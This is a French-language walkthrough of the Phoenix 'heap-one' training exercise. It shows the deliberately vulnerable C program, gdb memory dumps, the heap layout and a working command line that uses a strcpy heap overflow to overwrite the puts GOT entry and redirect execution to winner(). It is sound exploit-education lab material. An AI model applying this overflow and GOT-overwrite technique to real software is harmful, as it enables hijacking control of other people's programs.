Contents

Phoenix exploit education heap-one

Heap one

Second exercice heap de la suite Phoenix exploit education. Débordement de mémoire et falsification d’adresse.

Le source

/*
 * phoenix/heap-zero, by https://exploit.education
 *
 * Can you hijack flow control?
 *
 * Which vegetable did Noah leave off the Ark?
 * Leeks
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct heapStructure {
  int priority;
  char *name;
};

int main(int argc, char **argv) {
  struct heapStructure *i1, *i2;

  i1 = malloc(sizeof(struct heapStructure));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct heapStructure));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

void winner() {
  printf(
      "Congratulations, you've completed this level @ %ld seconds past the "
      "Epoch\n",
      time(NULL));
}

Analyse des allocations mémoire.

Le programme alloue deux blocs mémoire par structure. Un pour la structure elle même puis un pour name. On a donc

[heapstructure1][name1] [heapstructure2][name2]

avec Plus précisément

chunk1            |chunk2       |chunk3            |chunk4
[hdr1][p1][@name1]|[hdr2][name1]|[hdr3][p2][@name2]|[hdr4][name2]

Premier strcpy : strcpy(i1->name, argv[1]);

Un débordement de name1 peut écraser hdr3 puis p2 puis @name2

[hdr1][p1][@name1]|[hdr2][name1]|[hdr3][p2][@name2]|[hdr4][name2]

Le second strcpy : strcpy(i2->name, argv[2]);

Copie le second argument à l’adresse indiquée dans i2->name

On peut par exemple écrire l’adresse de winner dans l’entrée de la GOT dédiée à printf.

[hdr1][p1][@name1]|[hdr2][name1]|[xxxx][xxxx][got.printf]|[hdr4][name2]

argv1 : [name1[8]][12 octets pour ecraser hdr3 et p2][@got.puts]

argv2 : adresse de winner

Adresse de winner
(gdb) p winner
$1 = {<text variable, no debug info>} 0x804889a <winner>

Recherche de l’adresse de puts dans la GOT :
   0x0804887e <+169>:   push   $0x804ab70
   0x08048883 <+174>:   call   0x80485b0 <puts@plt>
   0x08048888 <+179>:   add    $0x10,%esp
   0x0804888b <+182>:   mov    $0x0,%eax

Le compilateur a remplacé de le printf par un puts. Bon bien va pour puts.

(gdb) x/2i   0x80485b0
   0x80485b0 <puts@plt>:        jmp    *0x804c140
   0x80485b6 <puts@plt+6>:      push   $0x28
(gdb) x/1xw 0x804c140
0x804c140 <puts@got.plt>:       0x080485b6

L’adresse de l’entrée puts est 0x804c140

Observation mémoire

(gdb) r AAAAAAAA BBBBBBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/phoenix/i486/heap-one AAAAAAAA BBBBBBBB

Breakpoint 1, 0x080487f3 in main ()
(gdb) i r eax
eax            0xf7e69008          -135884792
(gdb) x/20xw 0xf7e69008
0xf7e69008:     0x00000000      0x00000000      0x00000000      0x000ffff1
0xf7e69018:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69028:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69038:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69048:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x08048878 in main ()
(gdb) x/20xw 0xf7e69008
0xf7e69008:  0x00000001  0xf7e69018  0x00000000  0x00000011
             p1          @name1      header chunk 2
0xf7e69018:  0x41414141  0x41414141  0x00000000  0x00000011
             name1                   header chunk 3
0xf7e69028:  0x00000002  0xf7e69038  0x00000000  0x00000011
             p2          @name2      header chunk 4
0xf7e69038:  0x42424242  0x42424242  0x00000000  0x000fffc1
             name2
0xf7e69048:  0x00000000  0x00000000  0x00000000  0x00000000

On voit ici que name1 en débordant écrase hdr3[8] | p2[4] | @name2.

On a donc 8+8+4= 20 octets à envoyer avant l’adresse de got.puts.

arg1 : $(printf "%020d\x40\xc1\x04\x08" 0) arg2 : $(printf "\x9a\x88\x04\x08")

user@phoenix-amd64:~$ /opt/phoenix/i486/heap-one $(printf "%020d\x40\xc1\x04\x08" 0) $(printf "\x9a\x88\x04\x08")
Congratulations, you've completed this level @ 1587829766 seconds past the Epoch